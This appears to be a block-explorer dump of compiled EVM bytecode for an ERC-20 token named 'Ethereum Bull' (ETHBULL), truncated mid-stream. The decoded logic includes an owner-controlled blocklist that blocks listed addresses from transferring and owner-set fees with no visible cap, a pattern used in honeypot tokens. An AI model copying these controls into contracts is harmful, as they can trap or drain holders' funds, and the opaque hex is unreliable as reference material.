ffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60159054906101000a900460ff1681565b61125f33610c1a565b61129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590612f6e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190613121565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561140d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114319190613121565b6040518363ffffffff1660e01b815260040161144e92919061314e565b6020604051808303816000875af115801561146d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114919190613121565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061165730610ef8565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161169d969594939291906131b2565b60606040518083038185885af11580156116bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116e09190613228565b505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a9190612a5f565b60405180910390fd5b5060008385611762919061327b565b9050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d690613321565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611845906133b3565b60405180910390fd5b60008211611891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188890613445565b60405180910390fd5b600080600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119385750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61194157600080fd5b601660009054906101000a900460ff161561196a57611961868686611bd2565b92505050611bcb565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0e5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a6357600e60169054906101000a900460ff16611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a59906134b1565b60405180910390fd5b5b600e60149054906101000a900460ff16611a8b57611a82868686611bd2565b92505050611bcb565b611a958686611da5565b15611b8757600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b3e575060045484600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3b91906134d1565b11155b611b7d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7490613577565b60405180910390fd5b611b8686611f07565b5b611b918686611f78565b8092508193505050611ba782828660055461205a565b15611bb657611bb5846120d9565b5b611bc386868684866123bc565b506001925050505b9392505050565b6000611c5d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cf282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a990919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d929190612bdb565b60405180910390a3600190509392505050565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611e535750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ea95750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eff5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611f755760156000815480929190611f6f90612fec565b91905055505b50565b600080600080611f8786612607565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611fe7576002915061204b565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603612045576001915061204a565b600091505b5b80829350935050509250929050565b6000808290506000849050600061207030610ef8565b90506000838211801561208257508383115b9050601660009054906101000a900460ff1615801561209e5750885b80156120aa5750600188115b80156120b35750805b80156120cb5750600e60149054906101000a900460ff165b945050505050949350505050565b6001601660006101000a81548160ff02191690831515021790555060006120ff30610ef8565b90506000612118836121138460065461265e565b61265e565b90506000600267ffffffffffffffff81111561213757612136612bfb565b5b6040519080825280602002602001820160405280156121655781602001602082028036833780820191505090505b509050308160008151811061217d5761217c612f8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122489190613121565b8160018151811061225c5761225b612f8e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122fa959493929190613655565b600060405180830381600087803b15801561231457600080fd5b505af1158015612328573d6000803e3d6000fd5b505050506000479050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612399573d6000803e3d6000fd5b50505050506000601660006101000a81548160ff02191690831515021790555050565b60008060006123cc858588612677565b809250819350505061245d826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600760008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b9092919063ffffffff16565b600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f281600760008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a990919063ffffffff16565b600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040516125929190612bdb565b60405180910390a360019250505095945050505050565b60008082846125b891906134d1565b9050838110156125fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f4906136fb565b60405180910390fd5b8091505092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b600081831161266d578261266f565b815b905092915050565b6000806000846126ac57600e60159054906101000a900460ff1661269b57836126a7565b6126a68686866126f3565b5b6126ae565b835b90506000600e60159054906101000a900460ff1680156126cb5750855b6126d557846126e1565b6126e08787876126f3565b5b90508181935093505050935093915050565b600080600060649050841561275b576001861115612729576014546015541161271e57601054612722565b6012545b9150612756565b6000861115612750576013546015541161274557600f54612749565b6011545b9150612755565b600091505b5b612760565b600191505b600061278782612779858861285e90919063ffffffff16565b6128d890919063ffffffff16565b90506127db81600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125a990919063ffffffff16565b600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508561283b5761283683866128d890919063ffffffff16565b61283d565b805b9050612852818661292290919063ffffffff16565b93505050509392505050565b600080830361287057600090506128d2565b6000828461287e919061371b565b905082848261288d919061378c565b146128cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c49061382f565b60405180910390fd5b809150505b92915050565b600061291a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061296c565b905092915050565b600061296483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061170b565b905092915050565b600080831182906129b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129aa9190612a5f565b60405180910390fd5b50600083856129c2919061378c565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a095780820151818401526020810190506129ee565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a31826129cf565b612a3b81856129da565b9350612a4b8185602086016129eb565b612a5481612a15565b840191505092915050565b60006020820190508181036000830152612a798184612a26565b905092915050565b60008115159050919050565b612a9681612a81565b82525050565b6000602082019050612ab16000830184612a8d565b92915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612af682612acb565b9050919050565b612b0681612aeb565b8114612b1157600080fd5b50565b600081359050612b2381612afd565b92915050565b600060208284031215612b3f57612b3e612ac1565b5b6000612b4d84828501612b14565b91505092915050565b6000819050919050565b612b6981612b56565b8114612b7457600080fd5b50565b600081359050612b8681612b60565b92915050565b60008060408385031215612ba357612ba2612ac1565b5b6000612bb185828601612b14565b9250506020612bc285828601612b77565b9150509250929050565b612bd581612b56565b82525050565b6000602082019050612bf06000830184612bcc565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c3382612a15565b810181811067ffffffffffffffff82111715612c5257612c51612bfb565b5b80604052505050565b6000612c65612ab7565b9050612c718282612c2a565b919050565b600067ffffffffffffffff821115612c9157612c90612bfb565b5b602082029050602081019050919050565b600080fd5b6000612cba612cb584612c76565b612c5b565b90508083825260208201905060208402830185811115612cdd57612cdc612ca2565b5b835b81811015612d065780612cf28882612b14565b845260208401935050602081019050612cdf565b5050509392505050565b600082601f830112612d2557612d24612bf6565b5b8135612d35848260208601612ca7565b91505092915050565b600060208284031215612d5457612d53612ac1565b5b600082013567ffffffffffffffff811115612d7257612d71612ac6565b5b612d7e84828501612d10565b91505092915050565b600080600060608486031215612da057612d9f612ac1565b5b6000612dae86828701612b14565b9350506020612dbf86828701612b14565b9250506040612dd086828701612b77565b9150509250925092565b600060208284031215612df057612def612ac1565b5b6000612dfe84828501612b77565b91505092915050565b600060ff82169050919050565b612e1d81612e07565b82525050565b6000602082019050612e386000830184612e14565b92915050565b612e4781612aeb565b82525050565b6000602082019050612e626000830184612e3e565b92915050565b60008060408385031215612e7f57612e7e612ac1565b5b6000612e8d85828601612b14565b9250506020612e9e85828601612b14565b9150509250929050565b6000819050919050565b6000612ecd612ec8612ec384612acb565b612ea8565b612acb565b9050919050565b6000612edf82612eb2565b9050919050565b6000612ef182612ed4565b9050919050565b612f0181612ee6565b82525050565b6000602082019050612f1c6000830184612ef8565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000612f586006836129da565b9150612f6382612f22565b602082019050919050565b60006020820190508181036000830152612f8781612f4b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612ff782612b56565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361302957613028612fbd565b5b600182019050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b600061306a6016836129da565b915061307582613034565b602082019050919050565b600060208201905081810360008301526130998161305d565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006130d66017836129da565b91506130e1826130a0565b602082019050919050565b60006020820190508181036000830152613105816130c9565b9050919050565b60008151905061311b81612afd565b92915050565b60006020828403121561313757613136612ac1565b5b60006131458482850161310c565b91505092915050565b60006040820190506131636000830185612e3e565b6131706020830184612e3e565b9392505050565b6000819050919050565b600061319c61319761319284613177565b612ea8565b612b56565b9050919050565b6131ac81613181565b82525050565b600060c0820190506131c76000830189612e3e565b6131d46020830188612bcc565b6131e160408301876131a3565b6131ee60608301866131a3565b6131fb6080830185612e3e565b61320860a0830184612bcc565b979650505050505050565b60008151905061322281612b60565b92915050565b60008060006060848603121561324157613240612ac1565b5b600061324f86828701613213565b935050602061326086828701613213565b925050604061327186828701613213565b9150509250925092565b600061328682612b56565b915061329183612b56565b92508282039050818111156132a9576132a8612fbd565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061330b6025836129da565b9150613316826132af565b604082019050919050565b6000602082019050818103600083015261333a816132fe565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061339d6023836129da565b91506133a882613341565b604082019050919050565b600060208201905081810360008301526133cc81613390565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061342f6029836129da565b915061343a826133d3565b604082019050919050565b6000602082019050818103600083015261345e81613422565b9050919050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b600061349b6014836129da565b91506134a682613465565b602082019050919050565b600060208201905081810360008301526134ca8161348e565b9050919050565b60006134dc82612b56565b91506134e783612b56565b92508282019050808211156134ff576134fe612fbd565b5b92915050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b60006135616025836129da565b915061356c82613505565b604082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135cc81612aeb565b82525050565b60006135de83836135c3565b60208301905092915050565b6000602082019050919050565b600061360282613597565b61360c81856135a2565b9350613617836135b3565b8060005b8381101561364857815161362f88826135d2565b975061363a836135ea565b92505060018101905061361b565b5085935050505092915050565b600060a08201905061366a6000830188612bcc565b61367760208301876131a3565b818103604083015261368981866135f7565b90506136986060830185612e3e565b6136a56080830184612bcc565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006136e5601b836129da565b91506136f0826136af565b602082019050919050565b60006020820190508181036000830152613714816136d8565b9050919050565b600061372682612b56565b915061373183612b56565b925082820261373f81612b56565b9150828204841483151761375657613755612fbd565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061379782612b56565b91506137a283612b56565b9250826137b2576137b161375d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138196021836129da565b9150613824826137bd565b604082019050919050565b600060208201905081810360008301526138488161380c565b905091905056fea26469706673582212207fdd67d2c9b4b6e2c6e6c6774bdb578b74f7a4bcf66419ca23f3758362839d3264736f6c63430008130033000000000000000000000000b4bf1d01c04516189e5734fc3282645495e26e32
Deployed Bytecode
0x6080604052600436106101dc5760003560e01c80636c0a24eb11610102578063a8aa1b3111610095578063dd62ed3e11610064578063dd62ed3e14610699578063f52480e7146106d6578063f5297f6f14610701578063f887ea4014610718576101e3565b8063a8aa1b31146105ef578063a9059cbb1461061a578063d4433da814610657578063d7efc53614610682576101e3565b8063715018a6116100d1578063715018a614610557578063893d20e81461056e57806395d89b4114610599578063a196fccf146105c4576101e3565b80636c0a24eb1461049b5780636ce42475146104c65780636ddd1713146104ef57806370a082311461051a576101e3565b806323b872dd1161017a578063375dcdb111610149578063375dcdb1146104055780633eaaf86b1461042e57806359f506af14610459578063661bc1b414610484576101e3565b806323b872dd146103375780632c743eac146103745780632f54bf6e1461039d578063313ce567146103da576101e3565b8063095ea7b3116101b6578063095ea7b31461027b5780630faee56f146102b857806314a7b7f7146102e357806318160ddd1461030c576101e3565b806306fdde03146101e857806308fd3d0514610213578063091271381461023e576101e3565b366101e357005b600080fd5b3480156101f457600080fd5b506101fd610743565b60405161020a9190612a5f565b60405180910390f35b34801561021f57600080fd5b50610228610780565b6040516102359190612a9c565b60405180910390f35b34801561024a57600080fd5b5061026560048036038101906102609190612b29565b610793565b6040516102729190612a9c565b60405180910390f35b34801561028757600080fd5b506102a2600480360381019061029d9190612b8c565b6107e9565b6040516102af9190612a9c565b60405180910390f35b3480156102c457600080fd5b506102cd6108db565b6040516102da9190612bdb565b60405180910390f35b3480156102ef57600080fd5b5061030a60048036038101906103059190612d3e565b6108e1565b005b34801561031857600080fd5b506103216109be565b60405161032e9190612bdb565b60405180910390f35b34801561034357600080fd5b5061035e60048036038101906103599190612d87565b6109c8565b60405161036b9190612a9c565b60405180910390f35b34801561038057600080fd5b5061039b60048036038101906103969190612dda565b610bc8565b005b3480156103a957600080fd5b506103c460048036038101906103bf9190612b29565b610c1a565b6040516103d19190612a9c565b60405180910390f35b3480156103e657600080fd5b506103ef610c73565b6040516103fc9190612e23565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190612d3e565b610c7c565b005b34801561043a57600080fd5b50610443610d59565b6040516104509190612bdb565b60405180910390f35b34801561046557600080fd5b5061046e610d5f565b60405161047b9190612a9c565b60405180910390f35b34801561049057600080fd5b50610499610db9565b005b3480156104a757600080fd5b506104b0610e8d565b6040516104bd9190612bdb565b60405180910390f35b3480156104d257600080fd5b506104ed60048036038101906104e89190612dda565b610e93565b005b3480156104fb57600080fd5b50610504610ee5565b6040516105119190612a9c565b60405180910390f35b34801561052657600080fd5b50610541600480360381019061053c9190612b29565b610ef8565b60405161054e9190612bdb565b60405180910390f35b34801561056357600080fd5b5061056c610f41565b005b34801561057a57600080fd5b50610583611004565b6040516105909190612e4d565b60405180910390f35b3480156105a557600080fd5b506105ae61102d565b6040516105bb9190612a5f565b60405180910390f35b3480156105d057600080fd5b506105d961106a565b6040516105e69190612e4d565b60405180910390f35b3480156105fb57600080fd5b50610604611090565b6040516106119190612e4d565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190612b8c565b6110b6565b60405161064e9190612a9c565b60405180910390f35b34801561066357600080fd5b5061066c6110cb565b6040516106799190612bdb565b60405180910390f35b34801561068e57600080fd5b506106976110d1565b005b3480156106a557600080fd5b506106c060048036038101906106bb9190612e68565b6111bc565b6040516106cd9190612bdb565b60405180910390f35b3480156106e257600080fd5b506106eb611243565b6040516106f89190612a9c565b60405180910390f35b34801561070d57600080fd5b50610716611256565b005b34801561072457600080fd5b5061072d6116e5565b60405161073a9190612f07565b60405180910390f35b60606040518060400160405280600d81526020017f457468657265756d2042756c6c00000000000000000000000000000000000000815250905090565b600e60169054906101000a900460ff1681565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108c99190612bdb565b60405180910390a36001905092915050565b60065481565b6108ea33610c1a565b610929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092090612f6e565b60405180910390fd5b60005b81518110156109ba576000600b600084848151811061094e5761094d612f8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806109b290612fec565b91505061092c565b5050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610bb457610b33826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461170b9092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610bbf84848461176f565b90509392505050565b610bd133610c1a565b610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612f6e565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b610c8533610c1a565b610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90612f6e565b60405180910390fd5b60005b8151811015610d55576001600b6000848481518110610ce957610ce8612f8e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d4d90612fec565b915050610cc7565b5050565b60035481565b6000610d6a33610c1a565b610da9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da090612f6e565b60405180910390fd5b6003546004819055506001905090565b610dc233610c1a565b610e01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df890612f6e565b60405180910390fd5b60004711610e44576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3b90613080565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e8a573d6000803e3d6000fd5b50565b60045481565b610e9c33610c1a565b610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed290612f6e565b60405180910390fd5b8060128190555050565b600e60149054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610f4a33610c1a565b610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612f6e565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051610ffa9190612e4d565b60405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f45544842554c4c00000000000000000000000000000000000000000000000000815250905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110c333848461176f565b905092915050565b60055481565b6110da33610c1a565b611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090612f6e565b60405180910390fd5b600e60169054906101000a900460ff1615611169576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611160906130ec565b60405180910390fd5b6001600e60166101000a81548160ff0219169083151502179055506001600e60156101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60159054906101000a900460ff1681565b61125f33610c1a565b61129e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129590612f6e565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611360573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113849190613121565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561140d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114319190613121565b6040518363ffffffff1660e01b815260040161144e92919061314e565b6020604051808303816000875af115801561146d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114919190613121565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600a6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061165730610ef8565b60008060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161169d969594939291906131b2565b60606040518083038185885af11580156116bb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906116e09190613228565b505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000838311158290611753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174a9190612a5f565b60405180910390fd5b5060008385611762919061327b565b9050809150509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036117df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117d690613321565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361184e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611845906133b3565b60405180910390fd5b60008211611891576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188890613445565b60405180910390fd5b600080600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156119385750600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61194157600080fd5b601660009054906101000a900460ff161561196a57611961868686611bd2565b92505050611bcb565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a0e5750600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a6357600e60169054906101000a900460ff16611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a59906134b1565b60405180910390fd5b5b600e60149054906101000a900460ff16611a8b57611a82868686611bd25